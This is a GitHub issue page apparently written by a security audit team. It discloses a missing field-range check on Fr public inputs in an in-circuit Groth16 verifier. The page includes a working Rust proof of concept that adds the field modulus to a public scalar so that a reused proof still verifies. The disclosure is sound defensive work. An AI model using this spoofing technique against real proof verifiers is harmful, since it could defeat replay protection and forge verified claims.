-
Notifications
You must be signed in to change notification settings - Fork 1
Open
Labels
Description
Message from zelic team:
we have implemented a PoC that leverages one of missing input validations, specifically on Fr, to spoof public inputs. Using the missing onField check for Fr, we wrote this fairly simple POC showing the potential impact. If, for example, the public scalars on Fr in the Groth16 proof are used, among other things, for replay protection, then one can take a valid proof (A, B, C, P) where P represents the vector of scalars on Fr, and for any index i for which P[i] + r < 2**254, one can set P[i] = P[i] + r. The proof will have different wire assignments but it will nevertheless pass because of the lack of onField checks.
fn poc() {
// Deterministic RNG for reproducibility
let mut rng = ChaCha20Rng::seed_from_u64(12349);
// Builds the same circuit as in groth16_gc_gate_count.rs, and constructs a valid Groth16 proof
let circuit = DummyCircuit::<ark::Fr> {
a: Some(ark::Fr::rand(&mut rng)),
b: Some(ark::Fr::rand(&mut rng)),
num_variables: 10,
num_constraints: 1 << K,
};
let (pk, vk) = ark::Groth16::<ark::Bn254>::setup(circuit, &mut rng).unwrap();
let c_val = circuit.a.unwrap() * circuit.b.unwrap();
let proof = ark::Groth16::<ark::Bn254>::prove(&pk, circuit, &mut rng).unwrap();
// // This is what is meant to be verified inside the circuit
// let verify = Groth16VerifyInput {
// public: vec![c_val],
// a: proof.a.into_group(),
// b: proof.b.into_group(),
// c: proof.c.into_group(),
// vk: vk.clone(),
// };
println!("Previous c_val: {}", c_val);
use std::str::FromStr;
// Fr modulus
let r: BigInt<4> = BigInt::from_str("21888242871839275222246405745257275088548364400416034343698204186575808495617").unwrap();
let ub = BigInt::<4>::from(1u64) << 254;
let mut myval = BigInt::<4>::from(c_val.into_bigint());
myval.add_with_carry(&r);
if myval > ub {
panic!("Public input value is out of range for POC");
}
println!("New c_val: {:?}", myval);
let myvec: Vec<BigInt<4>> = vec![BigInt::from(myval)];
// Custom wires struct, so that public is not vec<ark_bn256::Fr>, but instead vec<BigInt<4>>, so that the wrap around is
// actually meaningful. This struct implements the various encoding traits needed for the
// circuit
let my_pub = PocVerifyInput {
public: myvec,
a: proof.a.into_group(),
b: proof.b.into_group(),
c: proof.c.into_group(),
vk: vk.clone(),
};
// Run the verification algorithm inside the circuit
let (verified, _gate_count) = {
let result: StreamingResult<_, _, bool> =
CircuitBuilder::streaming_execute(my_pub, 160_000, groth16_verify);
(result.output_value, result.gate_count)
};
// Verified will return true
println!("verified: {}", verified);
}
Reactions are currently unavailable